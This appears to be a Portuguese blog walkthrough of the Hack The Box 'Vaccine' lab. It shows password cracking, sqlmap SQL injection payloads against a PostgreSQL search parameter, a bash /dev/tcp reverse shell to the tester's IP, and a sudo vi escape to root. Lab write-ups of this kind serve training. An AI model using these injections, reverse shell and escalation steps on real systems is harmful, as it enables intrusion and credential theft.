Home HTB Vaccine Writeup
Post
Cancel

HTB Vaccine Writeup


NomeVaccine
IP10.10.10.46
Pontos0
OSLinux
NívelVery Easy


RECON

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ sudo nmap -v -p- -sCV -O -Pn 10.10.10.46 --min-rate=512
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: MegaCorp Login
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Encontramos somente as portas 21, 22 e 80 abertas. Vamos começar pela porta 80.

Porta 80

Nos deparamos com uma página de login, tentei reaproveitar as credenciais da máquina anterior (Oopsie), mas não obtive sucesso.

A busca por diretórios com gobuster, tabmém não retornou nada.

Pensando fora da caixa, temos a porta 21 rodando vsftpd 3.0.3, e na máquina Oopsie, durante a pós exploração, encontramos credenciais para um acesso FTP ftpuser:mc@F1l3ZilL4.

Porta 21

As credenciais vazadas no ultimo lab são válidas!!

Explorando o FTP, encontramos o arquivo backup.zip, vamos baixá-lo e extrair para enumerar seu conteúdo.

O arquivo está protegido por senha, as tentativas de reutilizar as senhas que já temos, não tiveram sucesso.

Podemos extrair a hash do arquivo e tentar quebrá-la, para isso vamos utilizar o zip2john.

1
2
3
4
5
6
7
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ zip2john backup.zip > hash                                                                                                                                                                                                          82 ⨯
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: 2b chk, TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Com a hash em mãos, podemos utilizar o próprio John para tentar quebrá-la com a wordlist rockyou.txt.

1
2
3
4
5
6
7
8
9
10
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ john hash -wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)
1g 0:00:00:00 DONE (2021-09-06 21:24) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Encontramos a sena 741852963, vamos descompactar o arquivo e enumerar seu conteúdo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: index.php               
  inflating: style.css               
                                                                                                                                                                                                                                             
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ ls -la
total 24
drwxr-xr-x  2 hastur hastur 4096 Sep  6 21:25 .
drwxr-xr-x 31 hastur hastur 4096 Sep  6 20:54 ..
-rw-r--r--  1 hastur hastur 2533 Sep  6 21:20 backup.zip
-rw-r--r--  1 hastur hastur 2186 Sep  6 21:23 hash
-rw-r--r--  1 hastur hastur 2594 Feb  3  2020 index.php
-rw-r--r--  1 hastur hastur 3274 Feb  3  2020 style.css

Temos 2 arquivos, um index.php e uma folha css, vamos checar o conteúdo de index.php.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ cat index.php 
<!DOCTYPE html>
<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
?>

Encontramos uma função que compara a senha criptografada em MD5 inserida, com uma hash para o usuário admin.

Podemos salvar esta hash em um novo arquivo, e tentar quebrá-la novamente com o John.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ echo '2cb42f8734ea607eefed3b70af13bbd3' > hashZip
                                                                                                                                                                                                                                             
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ john hashZip --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
qwerty789        (?)
1g 0:00:00:00 DONE (2021-09-06 21:28) 100.0g/s 10022Kp/s 10022Kc/s 10022KC/s shunda..pogimo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Agora temos as credencias admin:qwerty789, vamos tentar validá-las na página de login.

Conseguimos autenticação com sucesso!!!

Ao analizar a página, temos uma tela de dashboard, onde podemos pesquisar por alguma coisa que ainda não está clara.

Porém, ao efetuar qualquer pesquisa, percebemos que a página utiliza um parâmetro GET na url, que provavelmente busca em uma fonte de dados, possívelmente um banco.

Podemos testar para SQLi (SQL Injection), mas como esta página só é carregada após o login, precisamos anotar o cookie da nossa sessão antes de tentar qualquer ferramente para testes.

Ao pressionar F12 no navegador, no meu caso Firefox, vemos a barra de inspeção, ao clicarmos em Storage, podemos obter o cookie da sessão.

Temos o cooke PHPSESSID=u8mds2v44ve1kglnmg8s6l90d6, vamos utilizar o sqlmap para testar SQLi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ sqlmap -u 'http://10.10.10.46/dashboard.php?search=hastur' --cookie='PHPSESSID=u8mds2v44ve1kglnmg8s6l90d6'
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.8#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:46:38 /2021-09-06/

[21:46:38] [INFO] testing connection to the target URL
[21:46:39] [INFO] testing if the target URL content is stable
[21:46:39] [INFO] target URL content is stable
[21:46:39] [INFO] testing if GET parameter 'search' is dynamic
[21:46:39] [WARNING] GET parameter 'search' does not appear to be dynamic
[21:46:40] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[21:46:40] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] 
[21:46:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:46:48] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:46:48] [INFO] testing 'Generic inline queries'
[21:46:49] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[21:46:50] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable 
[21:46:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:46:50] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[21:46:50] [INFO] testing 'PostgreSQL inline queries'
[21:46:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[21:46:50] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)                                                                                                                                     
[21:47:02] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[21:47:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:47:13] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[21:47:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=hastur' AND (SELECT (CASE WHEN (7267=7267) THEN NULL ELSE CAST((CHR(110)||CHR(79)||CHR(104)||CHR(68)) AS NUMERIC) END)) IS NULL-- CbRO

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=hastur' AND 5008=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (5008=5008) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(118)||CHR(118)||CHR(113)) AS NUMERIC)-- MjRn

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=hastur';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=hastur' AND 1622=(SELECT 1622 FROM PG_SLEEP(5))-- kNKY
---
[21:47:16] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[21:47:18] [INFO] fetched data logged to text files under '/home/hastur/.local/share/sqlmap/output/10.10.10.46'

[*] ending @ 21:47:18 /2021-09-06/

Ótimo, encontramos uma vulnerabilidade!!

Podemos tentar um reverse shell com o próprio sqlmap, inserindo o parâmetro --os-shell na mesma requisição que fizemos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(hastur㉿hastur)-[~/Vaccine]
└─$ sqlmap -u 'http://10.10.10.46/dashboard.php?search=hastur' --cookie='PHPSESSID=u8mds2v44ve1kglnmg8s6l90d6' --os-shell
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.8#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:49:32 /2021-09-06/

[21:49:32] [INFO] resuming back-end DBMS 'postgresql' 
[21:49:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=hastur' AND (SELECT (CASE WHEN (7267=7267) THEN NULL ELSE CAST((CHR(110)||CHR(79)||CHR(104)||CHR(68)) AS NUMERIC) END)) IS NULL-- CbRO

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=hastur' AND 5008=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (5008=5008) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(118)||CHR(118)||CHR(113)) AS NUMERIC)-- MjRn

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=hastur';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=hastur' AND 1622=(SELECT 1622 FROM PG_SLEEP(5))-- kNKY
---
[21:49:32] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[21:49:32] [INFO] fingerprinting the back-end DBMS operating system
[21:49:33] [INFO] the back-end DBMS operating system is Linux
[21:49:33] [INFO] testing if current user is DBA
[21:49:34] [INFO] retrieved: '1'
[21:49:34] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[21:49:34] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id 
do you want to retrieve the command standard output? [Y/n/a] n
[21:49:41] [INFO] retrieved: 'uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)'
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] n
[21:49:48] [INFO] retrieved: 'total 92'
[21:49:49] [INFO] retrieved: 'drwx------ 19 postgres postgres 4096 Sep  7 01:00 .'
[21:49:49] [INFO] retrieved: 'drwxr-xr-x  3 postgres postgres 4096 Feb  3  2020 ..'
[21:49:49] [INFO] retrieved: 'drwx------  6 postgres postgres 4096 Feb  3  2020 base'
[21:49:49] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Sep  7 01:03 global'
[21:49:49] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_commit_ts'
[21:49:50] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_dynshmem'
[21:49:50] [INFO] retrieved: 'drwx------  4 postgres postgres 4096 Sep  7 01:00 pg_logical'
[21:49:50] [INFO] retrieved: 'drwx------  4 postgres postgres 4096 Feb  3  2020 pg_multixact'
[21:49:50] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Sep  7 01:00 pg_notify'
[21:49:50] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_replslot'
[21:49:51] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_serial'
[21:49:51] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_snapshots'
[21:49:51] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Sep  7 01:00 pg_stat'
[21:49:51] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_stat_tmp'
[21:49:51] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_subtrans'
[21:49:52] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_tblspc'
[21:49:52] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_twophase'
[21:49:52] [INFO] retrieved: '-rw-------  1 postgres postgres    3 Feb  3  2020 PG_VERSION'
[21:49:52] [INFO] retrieved: 'drwx------  3 postgres postgres 4096 Feb  3  2020 pg_wal'
[21:49:53] [INFO] retrieved: 'drwx------  2 postgres postgres 4096 Feb  3  2020 pg_xact'
[21:49:53] [INFO] retrieved: '-rw-------  1 postgres postgres   88 Feb  3  2020 postgresql.auto.conf'
[21:49:53] [INFO] retrieved: '-rw-------  1 postgres postgres  130 Sep  7 01:00 postmaster.opts'
[21:49:53] [INFO] retrieved: '-rw-------  1 postgres postgres  108 Sep  7 01:00 postmaster.pid'
os-shell> 

Conseguimos um shell com o usuário postgres!!!

Podemos melhorar este shell com um reverse shell utilizando o netcat, vamos seter um netcat na porta 8443 e enviar um payload.

1
2
3
os-shell> bash -c 'bash -i >& /dev/tcp/10.10.15.185/8443 0>&1'
do you want to retrieve the command standard output? [Y/n/a] n
[21:55:24] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

E conseguimos o shell.

Escalação de privilégios

Esta máquina não possui a flag user.txt, então precisamos escalar privilégios para conseguir a root.txt.

Após enumerar vários diretórios, encontrei a senha do user postgres, dentro do arquivo dashboard.php no diretório /var/www/html.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
postgres@vaccine:/var/www/html$ cat dashboard.php
cat dashboard.php
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Admin Dashboard</title>
  <link rel="stylesheet" href="./dashboard.css">
  <script src="https://use.fontawesome.com/33a3739634.js"></script>

---------CORTADO---------

        try {
          $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
        }

Agora podemos ver se o usuário possui permissão de sudo.

Ótimo, o usuário postgres tem permissão administrativa para editar o arquivo /etc/postgresql/11/main/pg_hba.conf com o utilitário vi.

O vi, aceita parâmetros para executar comandos do SO, se rodarmos o comando conforme ns apresentado com permissão administrativa, e logo em seguida pressionarmos ESC > :!/bin/sh teremos um shell como root.

E conseguimos o shell como root!!!

A flag se encontra em seu diretório.

E comprometemos o server!!


Referências

VulnerabilidadeUrl
PHP 8.1.0-dev development version backdoorhttps://github.com/flast101/php-8.1.0-dev-backdoor-rce
This post is licensed under CC BY 4.0 by the author.